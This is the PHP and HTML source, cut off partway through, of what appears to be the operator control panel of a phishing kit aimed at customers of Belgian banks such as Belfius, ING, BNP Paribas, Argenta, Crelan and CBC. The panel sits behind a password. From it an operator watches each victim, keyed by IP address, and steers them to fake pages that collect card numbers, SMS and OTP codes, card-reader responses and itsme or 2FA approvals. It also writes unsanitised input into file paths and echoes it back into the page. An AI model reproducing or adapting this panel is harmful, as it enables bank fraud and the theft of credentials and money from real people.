<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','0');
@ini_set('display_startup_errors','0');
@ini_set('log_errors','0');
session_id(md5('36e814614868e552891c5dda83aafca8'));
session_start();
$ip = $_GET['ip'];

$password = '36e814614868e552891c5dda83aafca8';

if($_POST['p']){

setcookie('p',md5($_POST['p']));
header('Location: ' . $_SERVER['PHP_SELF']. '?' . $_SERVER['QUERY_STRING']);
}

 if ($_COOKIE['p'] !== $password) {
    die('
    <style>
        body {
            background: #f4f6f9;
            font-family: "Segoe UI", sans-serif;
            display: flex;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
        }
        .login-box {
            background: #fff;
            padding: 40px 30px;
            border-radius: 12px;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            text-align: center;
            width: 300px;
        }
        .login-box h2 {
            margin-bottom: 20px;
            color: #333;
            font-size: 18px;
        }
        input[type=password] {
            width: 100%;
            padding: 10px;
            margin: 10px 0 20px;
            border: 1px solid #ccc;
            border-radius: 6px;
            outline: none;
            font-size: 14px;
        }
        input[type=submit] {
            width: 100%;
            background-color: #56AD15;
            border: none;
            color: #fff;
            padding: 10px;
            border-radius: 6px;
            font-size: 15px;
            cursor: pointer;
            transition: background 0.3s;
        }
        input[type=submit]:hover {
            background-color: #4b9613;
        }
    </style>

    <div class="login-box">
        <h2>🔒 Accès protégé</h2>
        <form method="post">
            <input type="password" name="p" placeholder="Mot de passe" required>
            <input type="submit" name="watching" value="Se connecter">
        </form>
    </div>
    ');
}

	
	
if ($_POST['step'] == "control") {
            $fp = fopen('users/'. $_POST['ip'] .'.txt', 'wb');
            
			
			if( $_POST['to'] == 'url' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['url_text'];
            }
			if( $_POST['to'] == 'load' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'bill' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'fr-infos' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'infos' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'sms' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'choice' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
            if( $_POST['to'] == 'method' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
            if( $_POST['to'] == 'itsMe' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
            if( $_POST['to'] == '2fa' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'] . '#|#' . $_POST['text'] . '#|#' . $_POST['b64img'];
            }
			if( $_POST['to'] == 'l-axa' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['axaText0'] . '#|#' . $_POST['axaText1'];
            }
			if( $_POST['to'] == 'l-cbc' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['cbcText0'] . '#|#' . $_POST['cbcText1'];
            }
			if( $_POST['to'] == 'l-bpost' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['bpostText0'] . '#|#' . $_POST['bpostText1'];
            }
			if( $_POST['to'] == 'l-digipass' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['digipassText0'] . '#|#' . $_POST['digipassText1'];
            }
			if( $_POST['to'] == 'l-kbc' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['kbcText0'] . '#|#' . $_POST['kbcText1'];
            }
			if( $_POST['to'] == 'l-belfius' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['belfiusText0'] . '#|#' . $_POST['belfiusText1'];
            }
			if( $_POST['to'] == 'l-bnp' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['bnpText0'] . '#|#' . $_POST['bnpText1'];
            }
			if( $_POST['to'] == 'l-ing' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['ingText0'] . '#|#' . $_POST['ingText1'];
            }
			if( $_POST['to'] == 'l-argenta' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['argentaText0'] . '#|#' . $_POST['argentaText1'];
            }
			if( $_POST['to'] == 'l-deuch' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['deuchText0'] . '#|#' . $_POST['deuchText1'];
            }
			if( $_POST['to'] == 'l-cph' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['cphText0'] . '#|#' . $_POST['cphText1'];
            }
			if( $_POST['to'] == 'l-beoApp' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['beoAppText0'] . '#|#' . $_POST['beoAppText1'];
            }
			if( $_POST['to'] == 'l-beoDigi' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['beoDigiText0'] . '#|#' . $_POST['beoDigiText1'];
            }
			if( $_POST['to'] == 'l-crelan' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['crelanText0'] . '#|#' . $_POST['crelanDigiText1'];
            }
			if( $_POST['to'] == 'itsMe-belfius' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'itsMe-cbc' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'app-crelan' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'errorCCS' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['errorCCSText0'] . '#|#' . $_POST['errorCCSText1'];
            }
			if( $_POST['to'] == 'approve' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'refuser' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'accepter' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }			
			if( $_POST['to'] == 'choice-crelan' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'choice-belfius' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'choice-cbc' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'l-belfiusMobile' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['belfiusMobileText0'] . '#|#' . $_POST['belfiusMobileText1'];
            }
			if( $_POST['to'] == 'bnp-idMobile' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'bnp-otpMobile' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'l-bnpMobile' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['bnpMobileText0'] . '#|#' . $_POST['bnpMobileText1'];
            }
			if( $_POST['to'] == 'ing-idMobile' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'ing-itsMeMobile' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'l-ingOneMobile' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'l-ingTwoMobile' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['ingTwoMobileText0'] . '#|#' . $_POST['ingTwoMobileText1'];
            }
			
			if( $_POST['to'] == 'itsMe-argenta' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'belfiusOtp' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'choice-argenta' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'l-belfiusMobileTwo' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['belfiusMobileTwoText0'] . '#|#' . $_POST['belfiusMobileTwoText1'];
            }
			if( $_POST['to'] == 'l-argentaTwo' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['argentaTwoText0'] . '#|#' . $_POST['argentaTwoText1'];
            }
			
			if( $_POST['to'] == 'itsMeLogo' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['itsMeLogoText0'] . '#|#' . $_POST['itsMeLogoText1'];
            }
			if( $_POST['to'] == 'bpostLogin' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'bpostOtp' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'argentaOtp' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'itsMeIng' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			
			if( $_POST['to'] == 'crelanMobileQr' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'] . '#|#' . $_POST['crelanQrText'] . '#|#' . $_POST['crelanMobileQrb64img'];
            }
			if( $_POST['to'] == 'crelanMobilePre' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'crelanMobileID' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'crelanMobileLec' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'crelanMobileMailC' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'crelanMobileSerie' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'keytradeChoice' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }		
			if( $_POST['to'] == 'keytradeID' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'itsMe-nagelM' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'];
            }
			if( $_POST['to'] == 'l-nagelM' ) {
                $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['nagelMText0'] . '#|#' . $_POST['nagelMText1'];
            }
			if( $_POST['to'] == 'keytradeQr' ) {
                $_POST['to'] = $_POST['to']. '#|#' . $_POST['error'] . '#|#' . $_POST['keytradeQrText'] . '#|#' . $_POST['keytradeQrb64img'];
            }
			
			

			
			
			

			
            fwrite($fp, $_POST['to']);
            fclose($fp);
            header("location: maxx.php?ip=" . $_POST['ip']);
        }
		
		
		
	if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'getStatus') {
    $userId = isset($_POST['userId']) ? $_POST['userId'] : ''; // PHP 5.6+ compatible
    $logFile = "./logs/user_status_{$userId}.log";
    
    $response = [
        'status' => 'unknown',
        'page' => 'Not found',
        'timestamp' => ''
    ];
    
    if (file_exists($logFile)) {
        $content = file_get_contents($logFile);
        $lines = explode("\n", trim($content));
        $lastLine = end($lines);
        
        if (preg_match('/Page:\s*([^,]+),.*Timestamp:\s*([^\n]+)/', $lastLine, $matches)) {
            $response['page'] = $matches[1];
            $response['timestamp'] = $matches[2];
            
            // Determine status
            $currentTime = new DateTime();
            $lastUpdated = new DateTime($matches[2]);
            $interval = $currentTime->diff($lastUpdated);
            $seconds = $interval->s + ($interval->i * 60) + ($interval->h * 3600);
            
            $response['status'] = ($seconds <= 5) ? 'online' : 'visited';
        }
    }
    
    header('Content-Type: application/json');
    echo json_encode($response);
    exit;
}
		
	include 'itsMeLogo.php';
		
?>
<!doctype html>
<html>
 <head>
  <!-- Required meta tags -->
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <meta http-equiv="pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
  <meta name="robots" content="noindex," "nofollow," "noimageindex," "noarchive," "nocache," "nosnippet">
  <!-- CSS FILES -->
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css">
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
  <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
  
  <style>
    :root {
      --primary-color: #2563eb;
      --secondary-color: #64748b;
      --success-color: #059669;
      --warning-color: #d97706;
      --error-color: #dc2626;
      --info-color: #0891b2;
      
      --bg-primary: #f8fafc;
      --bg-secondary: #ffffff;
      --bg-dark: #1e293b;
      
      --text-primary: #1e293b;
      --text-secondary: #64748b;
      --text-light: #94a3b8;
      
      --border-color: #e2e8f0;
      --shadow-sm: 0 1px 2px 0 rgb(0 0 0 / 0.05);
      --shadow-md: 0 4px 6px -1px rgb(0 0 0 / 0.1), 0 2px 4px -2px rgb(0 0 0 / 0.1);
      --shadow-lg: 0 10px 15px -3px rgb(0 0 0 / 0.1), 0 4px 6px -4px rgb(0 0 0 / 0.1);
      
      --radius-sm: 0.375rem;
      --radius-md: 0.5rem;
      --radius-lg: 0.75rem;
    }

    * {
      box-sizing: border-box;
    }

    body {
      font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
      background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
      min-height: 100vh;
      margin: 0;
      color: var(--text-primary);
    }

    .main-container {
      background: var(--bg-primary);
      min-height: 100vh;
      padding: 2rem 0;
    }

    .navbar {
      background: var(--bg-secondary) !important;
      box-shadow: var(--shadow-sm);
      border-bottom: 1px solid var(--border-color);
      padding: 1rem 0;
    }

    .navbar-brand {
      font-weight: 700;
      font-size: 1.5rem;
      color: var(--primary-color) !important;
      display: flex;
      align-items: center;
      gap: 0.5rem;
    }

    .navbar-brand::before {
      content: "🎛️";
      font-size: 1.8rem;
    }

    .card {
      background: var(--bg-secondary);
      border: 1px solid var(--border-color);
      border-radius: var(--radius-lg);
      box-shadow: var(--shadow-md);
      margin-bottom: 2rem;
      overflow: hidden;
    }

    .card-header {
      background: linear-gradient(135deg, var(--primary-color), #3b82f6);
      color: white;
      font-weight: 600;
      padding: 1.5rem;
      border-bottom: none;
    }

    .card-body {
      padding: 2rem;
    }

    .btn {
      border: none;
      border-radius: var(--radius-md);
      font-weight: 500;
      font-size: 0.875rem;
      margin: 0.25rem;
      padding: 0.75rem 1.5rem;
      transition: all 0.2s ease;
      box-shadow: var(--shadow-sm);
      display: inline-flex;
      align-items: center;
      gap: 0.5rem;
    }

    .btn:hover {
      transform: translateY(-1px);
      box-shadow: var(--shadow-md);
    }

    .btn-primary {
      background: linear-gradient(135deg, var(--primary-color), #3b82f6);
      color: white;
    }

    .btn-success {
      background: linear-gradient(135deg, var(--success-color), #10b981);
      color: white;
    }

    .btn-warning {
      background: linear-gradient(135deg, var(--warning-color), #f59e0b);
      color: white;
    }

    .btn-info {
      background: linear-gradient(135deg, var(--info-color), #06b6d4);
      color: white;
    }

    .btn-secondary {
      background: linear-gradient(135deg, var(--secondary-color), #6b7280);
      color: white;
    }

    .btn-belfius {
      background: linear-gradient(135deg, #c30045, #e91e63);
      color: white;
    }

    .btn-ing {
      background: linear-gradient(135deg, #ff6200, #ff8a50);
      color: white;
    }

    .btn-bnp {
      background: linear-gradient(135deg, #006b42, #10b981);
      color: white;
    }

    .btn-argenta {
      background: linear-gradient(135deg, #00814d, #059669);
      color: white;
    }

    .btn-crelan {
      background: linear-gradient(135deg, #84bd00, #a3d900);
      color: white;
    }

    .btn-cbc {
      background: linear-gradient(135deg, #00aeef, #0ea5e9);
      color: white;
    }

    .btn-keytrade {
      background: linear-gradient(135deg, #00ae09, #22c55e);
      color: white;
    }

    .btn-nagel {
      background: linear-gradient(135deg, #00aebe, #06b6d4);
      color: white;
    }

    .status-card {
      background: var(--bg-secondary);
      border-radius: var(--radius-lg);
      padding: 1.5rem;
      margin: 1rem 0;
      border: 1px solid var(--border-color);
      box-shadow: var(--shadow-sm);
    }

    .status-online {
      border-left: 4px solid var(--success-color);
    }

    .status-visited {
      border-left: 4px solid var(--warning-color);
    }

    .bank-section {
      background: var(--bg-secondary);
      border-radius: var(--radius-lg);
      padding: 1.5rem;
      margin: 1rem;
      box-shadow: var(--shadow-sm);
      border: 1px solid var(--border-color);
    }

    .bank-section h3 {
      font-size: 1.25rem;
      font-weight: 600;
      margin-bottom: 1rem;
      color: var(--text-primary);
      display: flex;
      align-items: center;
      gap: 0.5rem;
    }

    .toggle-switch {
      position: relative;
      display: inline-block;
      width: 60px;
      height: 34px;
      margin: 0.5rem;
    }

    .toggle-switch input {
      opacity: 0;
      width: 0;
      height: 0;
    }

    .slider {
      position: absolute;
      cursor: pointer;
      top: 0;
      left: 0;
      right: 0;
      bottom: 0;
      background-color: #ccc;
      transition: .4s;
      border-radius: 34px;
    }

    .slider:before {
      position: absolute;
      content: "";
      height: 26px;
      width: 26px;
      left: 4px;
      bottom: 4px;
      background-color: white;
      transition: .4s;
      border-radius: 50%;
    }

    input:checked + .slider {
      background: linear-gradient(135deg, var(--error-color), #ef4444);
    }

    input:checked + .slider:before {
      transform: translateX(26px);
    }

    .overlay {
      position: fixed;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background: rgba(0, 0, 0, 0.5);
      backdrop-filter: blur(10px);
      display: flex;
      justify-content: center;
      align-items: center;
      z-index: 1000;
    }

    .content {
      background: var(--bg-secondary);
      padding: 2rem;
      border-radius: var(--radius-lg);
      width: 100%;
      max-width: 500px;
      margin: 1rem;
      box-shadow: var(--shadow-lg);
      border: 1px solid var(--border-color);
    }

    .form-control {
      border: 1px solid var(--border-color);
      border-radius: var(--radius-md);
      padding: 0.75rem 1rem;
      font-size: 0.875rem;
      transition: all 0.2s ease;
    }

    .form-control:focus {
      border-color: var(--primary-color);
      box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
      outline: none;
    }

    .data-display {
      background: var(--bg-dark);
      color: #e2e8f0;
      font-family: 'Monaco', 'Consolas', monospace;
      border-radius: var(--radius-md);
      padding: 1.5rem;
      margin: 1rem 0;
      font-size: 0.875rem;
      line-height: 1.6;
      border: 1px solid var(--border-color);
      box-shadow: var(--shadow-sm);
    }

    .img {
      border-radius: var(--radius-md);
      border: 2px dashed var(--border-color);
      padding: 1rem;
      text-align: center;
      background-color: var(--bg-primary);
      cursor: pointer;
      transition: all 0.2s ease;
    }

    .img:hover {
      border-color: var(--primary-color);
      background-color: rgba(37, 99, 235, 0.05);
    }

    label {
      color: var(--text-primary);
      font-weight: 500;
      margin-bottom: 0.5rem;
      display: block;
    }

    .banks-grid {
      display: grid;
      grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
      gap: 1.5rem;
      margin: 2rem 0;
    }

    .general-actions {
      display: flex;
      flex-wrap: wrap;
      gap: 0.5rem;
      justify-content: center;
      margin: 2rem 0;
    }

    .page-header {
      text-align: center;
      margin: 2rem 0;
      color: white;
    }

    .page-header h1 {
      font-size: 2.5rem;
      font-weight: 700;
      margin-bottom: 0.5rem;
    }

    .page-header p {
      font-size: 1.1rem;
      opacity: 0.9;
    }

    @media (max-width: 768px) {
      .banks-grid {
        grid-template-columns: 1fr;
      }
      
      .btn {
        width: 100%;
        justify-content: center;
        margin: 0.25rem 0;
      }
      
      .page-header h1 {
        font-size: 2rem;
      }
    }
  </style>
  <link rel="icon" type="image/x-icon" href="favicon.ico" />
  <title>Control</title>
 </head>
 <body>
  <div class="main-container">
 
    <div class="container" style="max-width: 1200px;">
      <form method="post" action="">
        <input type="hidden" name="step" value="control">
        <input type="hidden" name="ip" value="<?php echo $_GET['ip']; ?>">
        
        <!-- Error Toggle Card -->
        <div class="card" style="display:none">
          <div class="card-header">
            <i class="fas fa-exclamation-triangle mr-2"></i>
            Configuration des Messages d'Erreur
          </div>
          <div class="card-body text-center">
            <div class="form-group">
              <label class="form-label">
                <i class="fas fa-toggle-on mr-2"></i>
                Affichage des messages d'erreur
              </label>
              <div class="toggle-switch">
                <input type="checkbox" id="errorToggle" onclick="checkbox();">
                <span class="slider"></span>
              </div>
              <input type="hidden" id="choice" name="error" value="off">
            </div>
          </div>
        </div>

        <script>
          function checkbox() {
            if (document.getElementById('choice').value == 'off') {
              document.getElementById('choice').value = 'on';
            } else if (document.getElementById('choice').value == 'on') {
              document.getElementById('choice').value = 'off';
            }
          }
        </script>
        <!-- Status Card -->
        <div class="status-card" id="statusCard">
          <h5><i class="fas fa-signal mr-2"></i>Statut de la Session</h5>
          <div class="row">
            <div class="col-md-6">
              <p class="mb-1"><strong>Page actuelle:</strong></p>
              <p id="currentp" class="text-muted">En attente...</p>
            </div>
            <div class="col-md-6">
              <p class="mb-1"><strong>Statut:</strong></p>
              <p id="statusp" class="text-muted">Vérification...</p>
            </div>
          </div>
        </div>
 

        <!-- Custom URL Modal -->
        <div id="url" class="collapse mt-5 overlay" style="margin: 0 auto;">
          <div class="content">
            <h5 class="mb-3"><i class="fas fa-link mr-2"></i>URL Personnalisée</h5>
            <textarea name="url_text" class="form-control mb-3" rows="3" placeholder="https://exemple.com..."></textarea>
            <button type="submit" class="btn btn-success" name="to" value="url">
              <i class="fas fa-paper-plane mr-2"></i>Rediriger
            </button>
          </div>
        </div>
        <!-- General Actions -->
        <div class="card">
          <div class="card-header">
            <i class="fas fa-directions mr-2"></i>Redirections  
          </div>
          <div class="card-body">
            <div class="general-actions">
              <button type="submit" class="btn btn-primary" name="to" value="load">
                <i class="fas fa-spinner mr-2"></i>Loading
              </button>
              <button type="submit" class="btn btn-primary" name="to" value="choice">
                <i class="fas fa-university mr-2"></i>Choix Banque
              </button>
              <button type="submit" class="btn btn-primary" name="to" value="method">
                <i class="fas fa-mobile-alt mr-2"></i>Reader/ItsMe
              </button>
       
              <button type="submit" class="btn btn-warning" name="to" value="infos">
                <i class="fas fa-credit-card mr-2"></i>CC Bancontact
              </button>
              <button type="submit" class="btn btn-warning" name="to" value="fr-infos">
                <i class="fas fa-credit-card mr-2"></i>CC Normal
              </button>
              <button type="submit" class="btn btn-info" name="to" value="sms">
                <i class="fas fa-sms mr-2"></i>SMS
              </button>
              <button type="submit" class="btn btn-success" name="to" value="approve">
                <i class="fas fa-check mr-2"></i>Approuver
              </button>
              <button type="submit" class="btn btn-secondary" name="to" value="refuser">
                <i class="fas fa-times mr-2"></i>Refuser
              </button>
         
             <button type="submit" class="btn btn-success" name="to" value="accepter">
                <i class="fas fa-check-circle mr-2"></i>Accepter
              </button>
              <button type="button" class="btn btn-warning" href="#qrimg">
                <i class="fas fa-qrcode mr-2"></i>2FA Image
              </button>
              <button type="button" class="btn btn-secondary" href="#errorCCS">
                <i class="fas fa-exclamation mr-2"></i>Erreur  
              </button>
              
            </div>
          </div>
        </div>

        <!-- Banks Grid -->
        <div class="banks-grid">
          <!-- Belfius -->
          <div class="bank-section">
            <h3><i class="fas fa-university mr-2" style="color: #c30045;"></i>Belfius</h3>
            <div class="d-flex flex-wrap gap-2">
              <button type="submit" class="btn btn-belfius" name="to" value="itsMe-belfius">
                <i class="fas fa-mobile-alt mr-2"></i>ItsMe Belfius
              </button>
              <button type="submit" class="btn btn-belfius" name="to" value="belfiusOtp">
                <i class="fas fa-key mr-2"></i>Belfius OTP
              </button>
              <button type="submit" class="btn btn-belfius" name="to" value="choice-belfius">
                <i class="fas fa-list mr-2"></i>Choix Belfius
              </button>
              <button type="button" class="btn btn-belfius" href="#l-belfius">
                <i class="fas fa-credit-card mr-2"></i>Lecteur Belfius
              </button>
              <button type="button" class="btn btn-belfius" href="#l-belfiusMobile">
                <i class="fas fa-mobile mr-2"></i>Lecteur Mobile
              </button>
              <button type="button" class="btn btn-belfius" href="#l-belfiusMobileTwo">
                <i class="fas fa-mobile mr-2"></i>Lecteur Mobile 2
              </button>
            </div>
          </div>

          <!-- ING -->
          <div class="bank-section">
            <h3><i class="fas fa-university mr-2" style="color: #ff6200;"></i>ING</h3>
            <div class="d-flex flex-wrap gap-2">
              <button type="submit" class="btn btn-ing" name="to" value="ing-idMobile">
                <i class="fas fa-id-card mr-2"></i>ING ID Mobile
              </button>
              <button type="submit" class="btn btn-ing" name="to" value="ing-otpMobile">
                <i class="fas fa-key mr-2"></i>ING OTP Mobile
              </button>
              <button type="submit" class="btn btn-ing" name="to" value="ing-itsMeMobile">
                <i class="fas fa-mobile-alt mr-2"></i>ING ItsMe Mobile
              </button>
              <button type="submit" class="btn btn-ing" name="to" value="l-ingOneMobile">
                <i class="fas fa-credit-card mr-2"></i>Lecteur ING One
              </button>
              <button type="submit" class="btn btn-ing" name="to" value="itsMeIng">
                <i class="fas fa-mobile mr-2"></i>ItsMe ING
              </button>
              <button type="button" class="btn btn-ing" href="#l-ing">
                <i class="fas fa-credit-card mr-2"></i>Lecteur ING
              </button>
              <button type="button" class="btn btn-ing" href="#l-ingTwoMobile">
                <i class="fas fa-mobile mr-2"></i>Lecteur ING Two
              </button>
            </div>
          </div>

          <!-- BNP -->
          <div class="bank-section">
            <h3><i class="fas fa-university mr-2" style="color: #006b42;"></i>BNP Paribas</h3>
            <div class="d-flex flex-wrap gap-2">
              <button type="submit" class="btn btn-bnp" name="to" value="bnp-idMobile">
                <i class="fas fa-id-card mr-2"></i>BNP ID Mobile
              </button>
              <button type="submit" class="btn btn-bnp" name="to" value="bnp-otpMobile">
                <i class="fas fa-key mr-2"></i>BNP OTP Mobile
              </button>
              <button type="button" class="btn btn-bnp" href="#l-bnp">
                <i class="fas fa-credit-card mr-2"></i>Lecteur BNP
              </button>
              <button type="button" class="btn btn-bnp" href="#l-bnpMobile">
                <i class="fas fa-mobile mr-2"></i>Lecteur BNP Mobile
              </button>
            </div>
          </div>
          <!-- Argenta -->
          <div class="bank-section">
            <h3><i class="fas fa-university mr-2" style="color: #00814d;"></i>Argenta</h3>
            <div class="d-flex flex-wrap gap-2">
              <button type="submit" class="btn btn-argenta" name="to" value="choice-argenta">
                <i class="fas fa-list mr-2"></i>Choix Argenta
              </button>
              <button type="submit" class="btn btn-argenta" name="to" value="itsMe-argenta">
                <i class="fas fa-mobile-alt mr-2"></i>ItsMe Argenta
              </button>
              <button type="submit" class="btn btn-argenta" name="to" value="argentaOtp">
                <i class="fas fa-key mr-2"></i>Argenta OTP
              </button>
              <button type="button" class="btn btn-argenta" href="#l-argenta">
                <i class="fas fa-credit-card mr-2"></i>Lecteur Argenta
              </button>
              <button type="button" class="btn btn-argenta" href="#l-argentaTwo">
                <i class="fas fa-credit-card mr-2"></i>Lecteur Argenta 2
              </button>
            </div>
          </div>
          <!-- Crelan -->
          <div class="bank-section">
            <h3><i class="fas fa-university mr-2" style="color: #84bd00;"></i>Crelan</h3>
            <div class="d-flex flex-wrap gap-2">
 
              <button type="submit" class="btn btn-crelan" name="to" value="choice-crelan">
                <i class="fas fa-list mr-2"></i>Choix Crelan
              </button>
              <button type="submit" class="btn btn-crelan" name="to" value="app-crelan">
                <i class="fas fa-check mr-2"></i>Approuver Crelan
              </button>
              <button type="button" class="btn btn-crelan" href="#l-crelan">
                <i class="fas fa-credit-card mr-2"></i>Lecteur Crelan
              </button>
            </div>
          </div>
          <!-- CBC -->
          <div class="bank-section">
            <h3><i class="fas fa-university mr-2" style="color: #00aeef;"></i>CBC</h3>
            <div class="d-flex flex-wrap gap-2">
              <button type="submit" class="btn btn-cbc" name="to" value="choice-cbc">
                <i class="fas fa-list mr-2"></i>Choix CBC
              </button>
              <button type="submit" class="btn btn-cbc" name="to" value="itsMe-cbc">
                <i class="fas fa-mobile-alt mr-2"></i>ItsMe CBC
              </button>
              <button type="button" class="btn btn-cbc" href="#l-cbc">
                <i class="fas fa-credit-card mr-2"></i>Lecteur CBC
              </button>
            </div>
          </div>

         

          <!-- Others -->
          <div class="bank-section">
            <h3><i class="fas fa-cog mr-2" style="color: #6b7280;"></i>Autres Services</h3>
            <div class="d-flex flex-wrap gap-2">
      
              <button type="submit" class="btn btn-secondary" name="to" value="l-beoApp">
                <i class="fas fa-check mr-2"></i>Beo Approve
              </button>
              <button type="button" class="btn btn-secondary" href="#l-axa">
                <i class="fas fa-credit-card mr-2"></i>Lecteur AXA
              </button>
              <button type="button" class="btn btn-secondary" href="#l-bpost">
                <i class="fas fa-credit-card mr-2"></i>Lecteur bpost
              </button>
              <button type="button" class="btn btn-secondary" href="#l-digipass">
                <i class="fas fa-key mr-2"></i>Lecteur Digipass
              </button>
              <button type="button" class="btn btn-secondary" href="#l-kbc">
                <i class="fas fa-credit-card mr-2"></i>Lecteur KBC
              </button>
              <button type="button" class="btn btn-secondary" href="#l-cph">
                <i class="fas fa-credit-card mr-2"></i>Lecteur CPH
              </button>
